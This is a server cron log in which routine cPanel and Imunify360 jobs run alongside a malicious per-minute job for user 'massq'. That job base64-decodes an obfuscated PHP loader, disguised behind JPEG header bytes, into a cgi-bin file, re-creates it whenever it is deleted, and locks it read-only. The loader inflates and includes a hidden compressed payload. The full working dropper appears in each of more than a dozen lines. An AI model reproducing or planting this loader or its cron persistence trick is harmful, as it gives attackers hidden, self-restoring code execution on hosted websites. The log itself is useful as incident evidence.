Sep  9 13:26:01 server CROND[15178]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:26:01 server CROND[15179]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:26:01 server CROND[15180]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:27:01 server CROND[15568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:27:01 server CROND[15569]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:27:01 server CROND[15570]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:27:01 server CROND[15572]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 13:28:01 server CROND[16053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:28:01 server CROND[16055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:28:01 server CROND[16054]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:29:01 server CROND[16479]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:29:01 server CROND[16481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:29:01 server CROND[16480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:30:01 server CROND[16866]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 13:30:01 server CROND[16868]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 13:30:01 server CROND[16869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:30:01 server CROND[16871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:30:01 server CROND[16873]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 13:30:01 server CROND[16876]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:30:01 server CROND[16875]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 13:30:01 server CROND[16877]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 13:31:01 server CROND[17720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:31:01 server CROND[17721]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:31:01 server CROND[17722]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:32:01 server CROND[18100]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:32:01 server CROND[18101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:32:01 server CROND[18103]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:33:01 server CROND[18581]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:33:01 server CROND[18582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:33:01 server CROND[18583]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:34:01 server CROND[18964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:34:01 server CROND[18965]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:34:01 server CROND[18967]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:35:01 server CROND[19370]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 13:35:01 server CROND[19372]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 13:35:01 server CROND[19377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:35:01 server CROND[19376]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 13:35:01 server CROND[19374]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 13:35:01 server CROND[19381]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:35:01 server CROND[19383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:35:01 server CROND[19375]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 13:35:01 server CROND[19380]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 13:36:01 server CROND[20224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:36:01 server CROND[20225]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:36:01 server CROND[20226]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:37:01 server CROND[20608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:37:01 server CROND[20609]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:37:01 server CROND[20610]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:38:01 server CROND[20991]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:38:01 server CROND[20992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
